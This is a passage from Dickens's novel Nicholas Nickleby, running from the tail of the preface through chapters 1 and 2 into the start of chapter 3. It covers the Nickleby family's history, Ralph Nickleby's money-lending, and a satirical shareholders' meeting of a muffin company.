(with whom I never +interchanged any communication in my life) would have exhausted the +combined patronage of all the Lord Chancellors since the accession of +the House of Brunswick, and would have broken the Rest of the Bank of +England. + +The Brothers are now dead. + +There is only one other point, on which I would desire to offer a +remark. If Nicholas be not always found to be blameless or +agreeable, he is not always intended to appear so. He is a young man +of an impetuous temper and of little or no experience; and I saw no +reason why such a hero should be lifted out of nature. + + + + + +CHAPTER 1 + +Introduces all the Rest + + +There once lived, in a sequestered part of the county of Devonshire, +one Mr Godfrey Nickleby: a worthy gentleman, who, taking it into his +head rather late in life that he must get married, and not being +young enough or rich enough to aspire to the hand of a lady of +fortune, had wedded an old flame out of mere attachment, who in her +turn had taken him for the same reason. Thus two people who cannot +afford to play cards for money, sometimes sit down to a quiet game +for love. + +Some ill-conditioned persons who sneer at the life-matrimonial, may +perhaps suggest, in this place, that the good couple would be better +likened to two principals in a sparring match, who, when fortune is +low and backers scarce, will chivalrously set to, for the mere +pleasure of the buffeting; and in one respect indeed this comparison +would hold good; for, as the adventurous pair of the Fives' Court +will afterwards send round a hat, and trust to the bounty of the +lookers-on for the means of regaling themselves, so Mr Godfrey +Nickleby and HIS partner, the honeymoon being over, looked out +wistfully into the world, relying in no inconsiderable degree upon +chance for the improvement of their means. Mr Nickleby's income, at +the period of his marriage, fluctuated between sixty and eighty +pounds PER ANNUM. + +There are people enough in the world, Heaven knows! and even in +London (where Mr Nickleby dwelt in those days) but few complaints +prevail, of the population being scanty. It is extraordinary how +long a man may look among the crowd without discovering the face of +a friend, but it is no less true. Mr Nickleby looked, and looked, +till his eyes became sore as his heart, but no friend appeared; and +when, growing tired of the search, he turned his eyes homeward, he +saw very little there to relieve his weary vision. A painter who +has gazed too long upon some glaring colour, refreshes his dazzled +sight by looking upon a darker and more sombre tint; but everything +that met Mr Nickleby's gaze wore so black and gloomy a hue, that he +would have been beyond description refreshed by the very reverse of +the contrast. + +At length, after five years, when Mrs Nickleby had presented her +husband with a couple of sons, and that embarassed gentleman, +impressed with the necessity of making some provision for his +family, was seriously revolving in his mind a little commercial +speculation of insuring his life next quarter-day, and then falling +from the top of the Monument by accident, there came, one morning, +by the general post, a black-bordered letter to inform him how his +uncle, Mr Ralph Nickleby, was dead, and had left him the bulk of his +little property, amounting in all to five thousand pounds sterling. + +As the deceased had taken no further notice of his nephew in his +lifetime, than sending to his eldest boy (who had been christened +after him, on desperate speculation) a silver spoon in a morocco +case, which, as he had not too much to eat with it, seemed a kind of +satire upon his having been born without that useful article of +plate in his mouth, Mr Godfrey Nickleby could, at first, scarcely +believe the tidings thus conveyed to him. On examination, however, +they turned out to be strictly correct. The amiable old gentleman, +it seemed, had intended to leave the whole to the Royal Humane +Society, and had indeed executed a will to that effect; but the +Institution, having been unfortunate enough, a few months before, to +save the life of a poor relation to whom he paid a weekly allowance +of three shillings and sixpence, he had, in a fit of very natural +exasperation, revoked the bequest in a codicil, and left it all to +Mr Godfrey Nickleby; with a special mention of his indignation, not +only against the society for saving the poor relation's life, but +against the poor relation also, for allowing himself to be saved. + +With a portion of this property Mr Godfrey Nickleby purchased a +small farm, near Dawlish in Devonshire, whither he retired with his +wife and two children, to live upon the best interest he could get +for the rest of his money, and the little produce he could raise +from his land. The two prospered so well together that, when he +died, some fifteen years after this period, and some five after his +wife, he was enabled to leave, to his eldest son, Ralph, three +thousand pounds in cash, and to his youngest son, Nicholas, one +thousand and the farm, which was as small a landed estate as one +would desire to see. + +These two brothers had been brought up together in a school at +Exeter; and, being accustomed to go home once a week, had often +heard, from their mother's lips, long accounts of their father's +sufferings in his days of poverty, and of their deceased uncle's +importance in his days of affluence: which recitals produced a very +different impression on the two: for, while the younger, who was of +a timid and retiring disposition, gleaned from thence nothing but +forewarnings to shun the great world and attach himself to the quiet +routine of a country life, Ralph, the elder, deduced from the often- +repeated tale the two great morals that riches are the only true +source of happiness and power, and that it is lawful and just to +compass their acquisition by all means short of felony. 'And,' +reasoned Ralph with himself, 'if no good came of my uncle's money +when he was alive, a great deal of good came of it after he was +dead, inasmuch as my father has got it now, and is saving it up for +me, which is a highly virtuous purpose; and, going back to the old +gentleman, good DID come of it to him too, for he had the pleasure +of thinking of it all his life long, and of being envied and courted +by all his family besides.' And Ralph always wound up these mental +soliloquies by arriving at the conclusion, that there was nothing +like money. + +Not confining himself to theory, or permitting his faculties to +rust, even at that early age, in mere abstract speculations, this +promising lad commenced usurer on a limited scale at school; putting +out at good interest a small capital of slate-pencil and marbles, +and gradually extending his operations until they aspired to the +copper coinage of this realm, in which he speculated to considerable +advantage. Nor did he trouble his borrowers with abstract +calculations of figures, or references to ready-reckoners; his +simple rule of interest being all comprised in the one golden +sentence, 'two-pence for every half-penny,' which greatly simplified +the accounts, and which, as a familiar precept, more easily acquired +and retained in the memory than any known rule of arithmetic, cannot +be too strongly recommended to the notice of capitalists, both large +and small, and more especially of money-brokers and bill- +discounters. Indeed, to do these gentlemen justice, many of them +are to this day in the frequent habit of adopting it, with eminent +success. + +In like manner, did young Ralph Nickleby avoid all those minute and +intricate calculations of odd days, which nobody who has worked sums +in simple-interest can fail to have found most embarrassing, by +establishing the one general rule that all sums of principal and +interest should be paid on pocket-money day, that is to say, on +Saturday: and that whether a loan were contracted on the Monday, or +on the Friday, the amount of interest should be, in both cases, the +same. Indeed he argued, and with great show of reason, that it +ought to be rather more for one day than for five, inasmuch as the +borrower might in the former case be very fairly presumed to be in +great extremity, otherwise he would not borrow at all with such odds +against him. This fact is interesting, as illustrating the secret +connection and sympathy which always exist between great minds. +Though Master Ralph Nickleby was not at that time aware of it, the +class of gentlemen before alluded to, proceed on just the same +principle in all their transactions. + +From what we have said of this young gentleman, and the natural +admiration the reader will immediately conceive of his character, it +may perhaps be inferred that he is to be the hero of the work which +we shall presently begin. To set this point at rest, for once and +for ever, we hasten to undeceive them, and stride to its commencement. + +On the death of his father, Ralph Nickleby, who had been some time +before placed in a mercantile house in London, applied himself +passionately to his old pursuit of money-getting, in which he +speedily became so buried and absorbed, that he quite forgot his +brother for many years; and if, at times, a recollection of his old +playfellow broke upon him through the haze in which he lived--for +gold conjures up a mist about a man, more destructive of all his old +senses and lulling to his feelings than the fumes of charcoal--it +brought along with it a companion thought, that if they were +intimate he would want to borrow money of him. So, Mr Ralph Nickleby +shrugged his shoulders, and said things were better as they were. + +As for Nicholas, he lived a single man on the patrimonial estate +until he grew tired of living alone, and then he took to wife the +daughter of a neighbouring gentleman with a dower of one thousand +pounds. This good lady bore him two children, a son and a daughter, +and when the son was about nineteen, and the daughter fourteen, as +near as we can guess--impartial records of young ladies' ages +being, before the passing of the new act, nowhere preserved in the +registries of this country--Mr Nickleby looked about him for the +means of repairing his capital, now sadly reduced by this increase +in his family, and the expenses of their education. + +'Speculate with it,' said Mrs Nickleby. + +'Spec--u--late, my dear?' said Mr Nickleby, as though in doubt. + +'Why not?' asked Mrs Nickleby. + +'Because, my dear, if we SHOULD lose it,' rejoined Mr Nickleby, who +was a slow and time-taking speaker, 'if we SHOULD lose it, we shall +no longer be able to live, my dear.' + +'Fiddle,' said Mrs Nickleby. + +'I am not altogether sure of that, my dear,' said Mr Nickleby. + +'There's Nicholas,' pursued the lady, 'quite a young man--it's time +he was in the way of doing something for himself; and Kate too, poor +girl, without a penny in the world. Think of your brother! Would +he be what he is, if he hadn't speculated?' + +'That's true,' replied Mr Nickleby. 'Very good, my dear. Yes. I +WILL speculate, my dear.' + +Speculation is a round game; the players see little or nothing of +their cards at first starting; gains MAY be great--and so may +losses. The run of luck went against Mr Nickleby. A mania +prevailed, a bubble burst, four stock-brokers took villa residences +at Florence, four hundred nobodies were ruined, and among them Mr +Nickleby. + +'The very house I live in,' sighed the poor gentleman, 'may be taken +from me tomorrow. Not an article of my old furniture, but will be +sold to strangers!' + +The last reflection hurt him so much, that he took at once to his +bed; apparently resolved to keep that, at all events. + +'Cheer up, sir!' said the apothecary. + +'You mustn't let yourself be cast down, sir,' said the nurse. + +'Such things happen every day,' remarked the lawyer. + +'And it is very sinful to rebel against them,' whispered the +clergyman. + +'And what no man with a family ought to do,' added the neighbours. + +Mr Nickleby shook his head, and motioning them all out of the room, +embraced his wife and children, and having pressed them by turns to +his languidly beating heart, sunk exhausted on his pillow. They +were concerned to find that his reason went astray after this; for +he babbled, for a long time, about the generosity and goodness of +his brother, and the merry old times when they were at school +together. This fit of wandering past, he solemnly commended them to +One who never deserted the widow or her fatherless children, and, +smiling gently on them, turned upon his face, and observed, that he +thought he could fall asleep. + + + +CHAPTER 2 + +Of Mr Ralph Nickleby, and his Establishments, and his Undertakings, +and of a great Joint Stock Company of vast national Importance + + +Mr Ralph Nickleby was not, strictly speaking, what you would call a +merchant, neither was he a banker, nor an attorney, nor a special +pleader, nor a notary. He was certainly not a tradesman, and still +less could he lay any claim to the title of a professional +gentleman; for it would have been impossible to mention any +recognised profession to which he belonged. Nevertheless, as he +lived in a spacious house in Golden Square, which, in addition to a +brass plate upon the street-door, had another brass plate two sizes +and a half smaller upon the left hand door-post, surrounding a brass +model of an infant's fist grasping a fragment of a skewer, and +displaying the word 'Office,' it was clear that Mr Ralph Nickleby +did, or pretended to do, business of some kind; and the fact, if it +required any further circumstantial evidence, was abundantly +demonstrated by the diurnal attendance, between the hours of half- +past nine and five, of a sallow-faced man in rusty brown, who sat +upon an uncommonly hard stool in a species of butler's pantry at the +end of the passage, and always had a pen behind his ear when he +answered the bell. + +Although a few members of the graver professions live about Golden +Square, it is not exactly in anybody's way to or from anywhere. It +is one of the squares that have been; a quarter of the town that has +gone down in the world, and taken to letting lodgings. Many of its +first and second floors are let, furnished, to single gentlemen; and +it takes boarders besides. It is a great resort of foreigners. The +dark-complexioned men who wear large rings, and heavy watch-guards, +and bushy whiskers, and who congregate under the Opera Colonnade, +and about the box-office in the season, between four and five in the +afternoon, when they give away the orders,--all live in Golden +Square, or within a street of it. Two or three violins and a wind +instrument from the Opera band reside within its precincts. Its +boarding-houses are musical, and the notes of pianos and harps float +in the evening time round the head of the mournful statue, the +guardian genius of a little wilderness of shrubs, in the centre of +the square. On a summer's night, windows are thrown open, and +groups of swarthy moustached men are seen by the passer-by, lounging +at the casements, and smoking fearfully. Sounds of gruff voices +practising vocal music invade the evening's silence; and the fumes +of choice tobacco scent the air. There, snuff and cigars, and +German pipes and flutes, and violins and violoncellos, divide the +supremacy between them. It is the region of song and smoke. Street +bands are on their mettle in Golden Square; and itinerant glee- +singers quaver involuntarily as they raise their voices within its +boundaries. + +This would not seem a spot very well adapted to the transaction of +business; but Mr Ralph Nickleby had lived there, notwithstanding, +for many years, and uttered no complaint on that score. He knew +nobody round about, and nobody knew him, although he enjoyed the +reputation of being immensely rich. The tradesmen held that he was +a sort of lawyer, and the other neighbours opined that he was a kind +of general agent; both of which guesses were as correct and definite +as guesses about other people's affairs usually are, or need to be. + +Mr Ralph Nickleby sat in his private office one morning, ready +dressed to walk abroad. He wore a bottle-green spencer over a blue +coat; a white waistcoat, grey mixture pantaloons, and Wellington +boots drawn over them. The corner of a small-plaited shirt-frill +struggled out, as if insisting to show itself, from between his chin +and the top button of his spencer; and the latter garment was not +made low enough to conceal a long gold watch-chain, composed of a +series of plain rings, which had its beginning at the handle of a +gold repeater in Mr Nickleby's pocket, and its termination in two +little keys: one belonging to the watch itself, and the other to +some patent padlock. He wore a sprinkling of powder upon his head, +as if to make himself look benevolent; but if that were his purpose, +he would perhaps have done better to powder his countenance also, +for there was something in its very wrinkles, and in his cold +restless eye, which seemed to tell of cunning that would announce +itself in spite of him. However this might be, there he was; and as +he was all alone, neither the powder, nor the wrinkles, nor the +eyes, had the smallest effect, good or bad, upon anybody just then, +and are consequently no business of ours just now. + +Mr Nickleby closed an account-book which lay on his desk, and, +throwing himself back in his chair, gazed with an air of abstraction +through the dirty window. Some London houses have a melancholy +little plot of ground behind them, usually fenced in by four high +whitewashed walls, and frowned upon by stacks of chimneys: in which +there withers on, from year to year, a crippled tree, that makes a +show of putting forth a few leaves late in autumn when other trees +shed theirs, and, drooping in the effort, lingers on, all crackled +and smoke-dried, till the following season, when it repeats the same +process, and perhaps, if the weather be particularly genial, even +tempts some rheumatic sparrow to chirrup in its branches. People +sometimes call these dark yards 'gardens'; it is not supposed that +they were ever planted, but rather that they are pieces of +unreclaimed land, with the withered vegetation of the original +brick-field. No man thinks of walking in this desolate place, or of +turning it to any account. A few hampers, half-a-dozen broken +bottles, and such-like rubbish, may be thrown there, when the tenant +first moves in, but nothing more; and there they remain until he +goes away again: the damp straw taking just as long to moulder as it +thinks proper: and mingling with the scanty box, and stunted +everbrowns, and broken flower-pots, that are scattered mournfully +about--a prey to 'blacks' and dirt. + +It was into a place of this kind that Mr Ralph Nickleby gazed, as he +sat with his hands in his pockets looking out of the window. He had +fixed his eyes upon a distorted fir tree, planted by some former +tenant in a tub that had once been green, and left there, years +before, to rot away piecemeal. There was nothing very inviting in +the object, but Mr Nickleby was wrapt in a brown study, and sat +contemplating it with far greater attention than, in a more +conscious mood, he would have deigned to bestow upon the rarest +exotic. At length, his eyes wandered to a little dirty window on +the left, through which the face of the clerk was dimly visible; +that worthy chancing to look up, he beckoned him to attend. + +In obedience to this summons the clerk got off the high stool (to +which he had communicated a high polish by countless gettings off +and on), and presented himself in Mr Nickleby's room. He was a tall +man of middle age, with two goggle eyes whereof one was a fixture, a +rubicund nose, a cadaverous face, and a suit of clothes (if the term +be allowable when they suited him not at all) much the worse for +wear, very much too small, and placed upon such a short allowance of +buttons that it was marvellous how he contrived to keep them on. + +'Was that half-past twelve, Noggs?' said Mr Nickleby, in a sharp and +grating voice. + +'Not more than five-and-twenty minutes by the--' Noggs was going to +add public-house clock, but recollecting himself, substituted +'regular time.' + +'My watch has stopped,' said Mr Nickleby; 'I don't know from what +cause.' + +'Not wound up,' said Noggs. + +'Yes it is,' said Mr Nickleby. + +'Over-wound then,' rejoined Noggs. + +'That can't very well be,' observed Mr Nickleby. + +'Must be,' said Noggs. + +'Well!' said Mr Nickleby, putting the repeater back in his pocket; +'perhaps it is.' + +Noggs gave a peculiar grunt, as was his custom at the end of all +disputes with his master, to imply that he (Noggs) triumphed; and +(as he rarely spoke to anybody unless somebody spoke to him) fell +into a grim silence, and rubbed his hands slowly over each other: +cracking the joints of his fingers, and squeezing them into all +possible distortions. The incessant performance of this routine on +every occasion, and the communication of a fixed and rigid look to +his unaffected eye, so as to make it uniform with the other, and to +render it impossible for anybody to determine where or at what he +was looking, were two among the numerous peculiarities of Mr Noggs, +which struck an inexperienced observer at first sight. + +'I am going to the London Tavern this morning,' said Mr Nickleby. + +'Public meeting?' inquired Noggs. + +Mr Nickleby nodded. 'I expect a letter from the solicitor +respecting that mortgage of Ruddle's. If it comes at all, it will +be here by the two o'clock delivery. I shall leave the city about +that time and walk to Charing Cross on the left-hand side of the +way; if there are any letters, come and meet me, and bring them with +you.' + +Noggs nodded; and as he nodded, there came a ring at the office +bell. The master looked up from his papers, and the clerk calmly +remained in a stationary position. + +'The bell,' said Noggs, as though in explanation. 'At home?' + +'Yes.' + +'To anybody?' + +'Yes.' + +'To the tax-gatherer?' + +'No! Let him call again.' + +Noggs gave vent to his usual grunt, as much as to say 'I thought +so!' and, the ring being repeated, went to the door, whence he +presently returned, ushering in, by the name of Mr Bonney, a pale +gentleman in a violent hurry, who, with his hair standing up in +great disorder all over his head, and a very narrow white cravat +tied loosely round his throat, looked as if he had been knocked up +in the night and had not dressed himself since. + +'My dear Nickleby,' said the gentleman, taking off a white hat which +was so full of papers that it would scarcely stick upon his head, +'there's not a moment to lose; I have a cab at the door. Sir +Matthew Pupker takes the chair, and three members of Parliament are +positively coming. I have seen two of them safely out of bed. The +third, who was at Crockford's all night, has just gone home to put a +clean shirt on, and take a bottle or two of soda water, and will +certainly be with us, in time to address the meeting. He is a +little excited by last night, but never mind that; he always speaks +the stronger for it.' + +'It seems to promise pretty well,' said Mr Ralph Nickleby, whose +deliberate manner was strongly opposed to the vivacity of the other +man of business. + +'Pretty well!' echoed Mr Bonney. 'It's the finest idea that was +ever started. "United Metropolitan Improved Hot Muffin and Crumpet +Baking and Punctual Delivery Company. Capital, five millions, in +five hundred thousand shares of ten pounds each." Why the very name +will get the shares up to a premium in ten days.' + +'And when they ARE at a premium,' said Mr Ralph Nickleby, smiling. + +'When they are, you know what to do with them as well as any man +alive, and how to back quietly out at the right time,' said Mr +Bonney, slapping the capitalist familiarly on the shoulder. 'By- +the-bye, what a VERY remarkable man that clerk of yours is.' + +'Yes, poor devil!' replied Ralph, drawing on his gloves. 'Though +Newman Noggs kept his horses and hounds once.' + +'Ay, ay?' said the other carelessly. + +'Yes,' continued Ralph, 'and not many years ago either; but he +squandered his money, invested it anyhow, borrowed at interest, and +in short made first a thorough fool of himself, and then a beggar. +He took to drinking, and had a touch of paralysis, and then came +here to borrow a pound, as in his better days I had--' + +'Done business with him,' said Mr Bonney with a meaning look. + +'Just so,' replied Ralph; 'I couldn't lend it, you know.' + +'Oh, of course not.' + +'But as I wanted a clerk just then, to open the door and so forth, I +took him out of charity, and he has remained with me ever since. He +is a little mad, I think,' said Mr Nickleby, calling up a charitable +look, 'but he is useful enough, poor creature--useful enough.' + +The kind-hearted gentleman omitted to add that Newman Noggs, being +utterly destitute, served him for rather less than the usual wages +of a boy of thirteen; and likewise failed to mention in his hasty +chronicle, that his eccentric taciturnity rendered him an especially +valuable person in a place where much business was done, of which it +was desirable no mention should be made out of doors. The other +gentleman was plainly impatient to be gone, however, and as they +hurried into the hackney cabriolet immediately afterwards, perhaps +Mr Nickleby forgot to mention circumstances so unimportant. + +There was a great bustle in Bishopsgate Street Within, as they drew +up, and (it being a windy day) half-a-dozen men were tacking across +the road under a press of paper, bearing gigantic announcements that +a Public Meeting would be holden at one o'clock precisely, to take +into consideration the propriety of petitioning Parliament in favour +of the United Metropolitan Improved Hot Muffin and Crumpet Baking +and Punctual Delivery Company, capital five millions, in five +hundred thousand shares of ten pounds each; which sums were duly set +forth in fat black figures of considerable size. Mr Bonney elbowed +his way briskly upstairs, receiving in his progress many low bows +from the waiters who stood on the landings to show the way; and, +followed by Mr Nickleby, dived into a suite of apartments behind the +great public room: in the second of which was a business-looking +table, and several business-looking people. + +'Hear!' cried a gentleman with a double chin, as Mr Bonney presented +himself. 'Chair, gentlemen, chair!' + +The new-comers were received with universal approbation, and Mr +Bonney bustled up to the top of the table, took off his hat, ran his +fingers through his hair, and knocked a hackney-coachman's knock on +the table with a little hammer: whereat several gentlemen cried +'Hear!' and nodded slightly to each other, as much as to say what +spirited conduct that was. Just at this moment, a waiter, feverish +with agitation, tore into the room, and throwing the door open with +a crash, shouted 'Sir Matthew Pupker!' + +The committee stood up and clapped their hands for joy, and while +they were clapping them, in came Sir Matthew Pupker, attended by two +live members of Parliament, one Irish and one Scotch, all smiling +and bowing, and looking so pleasant that it seemed a perfect marvel +how any man could have the heart to vote against them. Sir Matthew +Pupker especially, who had a little round head with a flaxen wig on +the top of it, fell into such a paroxysm of bows, that the wig +threatened to be jerked off, every instant. When these symptoms had +in some degree subsided, the gentlemen who were on speaking terms +with Sir Matthew Pupker, or the two other members, crowded round +them in three little groups, near one or other of which the +gentlemen who were NOT on speaking terms with Sir Matthew Pupker or +the two other members, stood lingering, and smiling, and rubbing +their hands, in the desperate hope of something turning up which +might bring them into notice. All this time, Sir Matthew Pupker and +the two other members were relating to their separate circles what +the intentions of government were, about taking up the bill; with a +full account of what the government had said in a whisper the last +time they dined with it, and how the government had been observed to +wink when it said so; from which premises they were at no loss to +draw the conclusion, that if the government had one object more at +heart than another, that one object was the welfare and advantage of +the United Metropolitan Improved Hot Muffin and Crumpet Baking and +Punctual Delivery Company. + +Meanwhile, and pending the arrangement of the proceedings, and a +fair division of the speechifying, the public in the large room were +eyeing, by turns, the empty platform, and the ladies in the Music +Gallery. In these amusements the greater portion of them had been +occupied for a couple of hours before, and as the most agreeable +diversions pall upon the taste on a too protracted enjoyment of +them, the sterner spirits now began to hammer the floor with their +boot-heels, and to express their dissatisfaction by various hoots +and cries. These vocal exertions, emanating from the people who had +been there longest, naturally proceeded from those who were nearest +to the platform and furthest from the policemen in attendance, who +having no great mind to fight their way through the crowd, but +entertaining nevertheless a praiseworthy desire to do something to +quell the disturbance, immediately began to drag forth, by the coat +tails and collars, all the quiet people near the door; at the same +time dealing out various smart and tingling blows with their +truncheons, after the manner of that ingenious actor, Mr Punch: +whose brilliant example, both in the fashion of his weapons and +their use, this branch of the executive occasionally follows. + +Several very exciting skirmishes were in progress, when a loud shout +attracted the attention even of the belligerents, and then there +poured on to the platform, from a door at the side, a long line of +gentlemen with their hats off, all looking behind them, and uttering +vociferous cheers; the cause whereof was sufficiently explained when +Sir Matthew Pupker and the two other real members of Parliament came +to the front, amidst deafening shouts, and testified to each other +in dumb motions that they had never seen such a glorious sight as +that, in the whole course of thier public career. + +At length, and at last, the assembly left off shouting, but Sir +Matthew Pupker being voted into the chair, they underwent a relapse +which lasted five minutes. This over, Sir Matthew Pupker went on to +say what must be his feelings on that great occasion, and what must +be that occasion in the eyes of the world, and what must be the +intelligence of his fellow-countrymen before him, and what must be +the wealth and respectability of his honourable friends behind him, +and lastly, what must be the importance to the wealth, the +happiness, the comfort, the liberty, the very existence of a free +and great people, of such an Institution as the United Metropolitan +Improved Hot Muffin and Crumpet Baking and Punctual Delivery +Company! + +Mr Bonney then presented himself to move the first resolution; and +having run his right hand through his hair, and planted his left, in +an easy manner, in his ribs, he consigned his hat to the care of the +gentleman with the double chin (who acted as a species of bottle- +holder to the orators generally), and said he would read to them the +first resolution--'That this meeting views with alarm and +apprehension, the existing state of the Muffin Trade in this +Metropolis and its neighbourhood; that it considers the Muffin Boys, +as at present constituted, wholly underserving the confidence of the +public; and that it deems the whole Muffin system alike prejudicial +to the health and morals of the people, and subversive of the best +interests of a great commercial and mercantile community.' The +honourable gentleman made a speech which drew tears from the eyes of +the ladies, and awakened the liveliest emotions in every individual +present. He had visited the houses of the poor in the various +districts of London, and had found them destitute of the slightest +vestige of a muffin, which there appeared too much reason to believe +some of these indigent persons did not taste from year's end to +year's end. He had found that among muffin-sellers there existed +drunkenness, debauchery, and profligacy, which he attributed to the +debasing nature of their employment as at present exercised; he had +found the same vices among the poorer class of people who ought to +be muffin consumers; and this he attributed to the despair +engendered by their being placed beyond the reach of that nutritious +article, which drove them to seek a false stimulant in intoxicating +liquors. He would undertake to prove before a committee of the +House of Commons, that there existed a combination to keep up the +price of muffins, and to give the bellmen a monopoly; he would prove +it by bellmen at the bar of that House; and he would also prove, +that these men corresponded with each other by secret words and +signs as 'Snooks,' 'Walker,' 'Ferguson,' 'Is Murphy right?' and many +others. It was this melancholy state of things that the Company +proposed to correct; firstly, by prohibiting, under heavy penalties, +all private muffin trading of every description; secondly, by +themselves supplying the public generally, and the poor at their own +homes, with muffins of first quality at reduced prices. It was with +this object that a bill had been introduced into Parliament by their +patriotic chairman Sir Matthew Pupker; it was this bill that they +had met to support; it was the supporters of this bill who would +confer undying brightness and splendour upon England, under the name +of the United Metropolitan Improved Hot Muffin and Crumpet Baking +and Punctual Delivery Company; he would add, with a capital of Five +Millions, in five hundred thousand shares of ten pounds each. + +Mr Ralph Nickleby seconded the resolution, and another gentleman +having moved that it be amended by the insertion of the words 'and +crumpet' after the word 'muffin,' whenever it occurred, it was +carried triumphantly. Only one man in the crowd cried 'No!' and he +was promptly taken into custody, and straightway borne off. + +The second resolution, which recognised the expediency of +immediately abolishing 'all muffin (or crumpet) sellers, all traders +in muffins (or crumpets) of whatsoever description, whether male or +female, boys or men, ringing hand-bells or otherwise,' was moved by +a grievous gentleman of semi-clerical appearance, who went at once +into such deep pathetics, that he knocked the first speaker clean +out of the course in no time. You might have heard a pin fall--a +pin! a feather--as he described the cruelties inflicted on muffin +boys by their masters, which he very wisely urged were in themselves +a sufficient reason for the establishment of that inestimable +company. It seemed that the unhappy youths were nightly turned out +into the wet streets at the most inclement periods of the year, to +wander about, in darkness and rain--or it might be hail or snow--for +hours together, without shelter, food, or warmth; and let the public +never forget upon the latter point, that while the muffins were +provided with warm clothing and blankets, the boys were wholly +unprovided for, and left to their own miserable resources. (Shame!) +The honourable gentleman related one case of a muffin boy, who +having been exposed to this inhuman and barbarous system for no less +than five years, at length fell a victim to a cold in the head, +beneath which he gradually sunk until he fell into a perspiration +and recovered; this he could vouch for, on his own authority, but he +had heard (and he had no reason to doubt the fact) of a still more +heart-rending and appalling circumstance. He had heard of the case +of an orphan muffin boy, who, having been run over by a hackney +carriage, had been removed to the hospital, had undergone the +amputation of his leg below the knee, and was now actually pursuing +his occupation on crutches. Fountain of justice, were these things +to last! + +This was the department of the subject that took the meeting, and +this was the style of speaking to enlist their sympathies. The men +shouted; the ladies wept into their pocket-handkerchiefs till they +were moist, and waved them till they were dry; the excitement was +tremendous; and Mr Nickleby whispered his friend that the shares +were thenceforth at a premium of five-and-twenty per cent. + +The resolution was, of course, carried with loud acclamations, every +man holding up both hands in favour of it, as he would in his +enthusiasm have held up both legs also, if he could have +conveniently accomplished it. This done, the draft of the proposed +petition was read at length: and the petition said, as all petitions +DO say, that the petitioners were very humble, and the petitioned +very honourable, and the object very virtuous; therefore (said the +petition) the bill ought to be passed into a law at once, to the +everlasting honour and glory of that most honourable and glorious +Commons of England in Parliament assembled. + +Then, the gentleman who had been at Crockford's all night, and who +looked something the worse about the eyes in consequence, came +forward to tell his fellow-countrymen what a speech he meant to make +in favour of that petition whenever it should be presented, and how +desperately he meant to taunt the parliament if they rejected the +bill; and to inform them also, that he regretted his honourable +friends had not inserted a clause rendering the purchase of muffins +and crumpets compulsory upon all classes of the community, which he +--opposing all half-measures, and preferring to go the extreme +animal-- pledged himself to propose and divide upon, in committee. +After announcing this determination, the honourable gentleman grew +jocular; and as patent boots, lemon-coloured kid gloves, and a fur +coat collar, assist jokes materially, there was immense laughter and +much cheering, and moreover such a brilliant display of ladies' +pocket-handkerchiefs, as threw the grievous gentleman quite into the +shade. + +And when the petition had been read and was about to be adopted, +there came forward the Irish member (who was a young gentleman of +ardent temperament,) with such a speech as only an Irish member can +make, breathing the true soul and spirit of poetry, and poured forth +with such fervour, that it made one warm to look at him; in the +course whereof, he told them how he would demand the extension of +that great boon to his native country; how he would claim for her +equal rights in the muffin laws as in all other laws; and how he yet +hoped to see the day when crumpets should be toasted in her lowly +cabins, and muffin bells should ring in her rich green valleys. +And, after him, came the Scotch member, with various pleasant +allusions to the probable amount of profits, which increased the +good humour that the poetry had awakened; and all the speeches put +together did exactly what they were intended to do, and established +in the hearers' minds that there was no speculation so promising, or +at the same time so praiseworthy, as the United Metropolitan +Improved Hot Muffin and Crumpet Baking and Punctual Delivery +Company. + +So, the petition in favour of the bill was agreed upon, and the +meeting adjourned with acclamations, and Mr Nickleby and the other +directors went to the office to lunch, as they did every day at +half-past one o'clock; and to remunerate themselves for which +trouble, (as the company was yet in its infancy,) they only charged +three guineas each man for every such attendance. + + + +CHAPTER 3 + +Mr Ralph Nickleby receives Sad Tidings of his Brother, but bears up +nobly against the Intelligence communicated to him. The Reader is +informed how he liked Nicholas, who is herein introduced, and how +kindly he proposed to make his Fortune at once + + +Having rendered his zealous assistance towards dispatching the +lunch, with all that promptitude and energy which are among the most +important qualities that men of business can possess, Mr Ralph +Nickleby took a cordial farewell of his fellow-speculators, and bent +his steps westward in unwonted good humour. As he passed St Paul's +he stepped aside into a doorway to set his watch, and with his hand +on the key and his eye on the cathedral dial, was intent upon so +doing, when a man suddenly stopped before him. It was Newman Noggs. + +'Ah! Newman,' said Mr Nickleby, looking up as he pursued his +occupation. 'The letter about the mortgage has come, has it? I +thought it would.' + +'Wrong,' replied Newman. + +'What! and nobody called respecting it?' inquired Mr Nickleby, +pausing. Noggs shook his head. + +'What HAS come, then?' inquired Mr Nickleby. + +'I have,' said Newman. + +'What else?' demanded the master, sternly. + +'This,' said Newman, drawing a sealed letter slowly from his pocket. +'Post-mark, Strand, black wax, black border, woman's hand, C. N. in +the corner.' + +'Black wax?' said Mr Nickleby, glancing at the letter. 'I know +something of that hand, too. Newman, I shouldn't be surprised if my +brother were dead.' + +'I don't think you would,' said Newman, quietly. + +'Why not, sir?' demanded Mr Nickleby. + +'You never are surprised,' replied Newman, 'that's all.' + +Mr Nickleby snatched the letter from his assistant, and fixing a +cold look upon him, opened, read it, put it in his pocket, and +having now hit the time to a second, began winding up his watch. + +'It is as I expected, Newman,' said Mr Nickleby, while he was thus +engaged. 'He IS dead. Dear me! Well, that's sudden thing. I +shouldn't have thought it, really.' With these touching expressions +of sorrow, Mr Nickleby replaced his watch in his fob, and, fitting +on his gloves to a nicety, turned upon his way, and walked slowly +westward with his hands behind him. + +'Children alive?' inquired Noggs, stepping up to him. + +'Why, that's the very thing,' replied Mr Nickleby, as though his +thoughts were about them at that moment. 'They are both alive.' + +'Both!' repeated Newman Noggs, in a low voice. + +'And the widow, too,' added Mr Nickleby, 'and all three in London, +confound them; all three here, Newman.' + +Newman fell a little behind his master, and his face was curiously +twisted as by a spasm; but whether of paralysis, or grief, or inward +laughter, nobody but himself could possibly explain. The expression +of a man's face is commonly a help to his thoughts, or glossary on +his speech; but the countenance of Newman Noggs, in his ordinary +moods, was a problem which no stretch of ingenuity could solve. + +'Go home!' said Mr Nickleby, after they had walked a few paces: +looking round at the clerk as if he were his dog. The words were +scarcely uttered when Newman darted across the road, slunk among the +crowd, and disappeared in an instant. + +'Reasonable, certainly!' muttered Mr Nickleby to himself, as he +walked on, 'very reasonable! My brother never did anything for me, +and I never expected it; the breath is no sooner out of his body +than I am to be looked to, as the support of a great hearty woman, +and a grown boy and girl. What are they to me! I never saw them.' + +Full of these, and many other reflections of a similar kind, Mr +Nickleby made the best of his way to the Strand, and, referring to +his letter as if to ascertain the number of the house he wanted, +stopped at a private door about 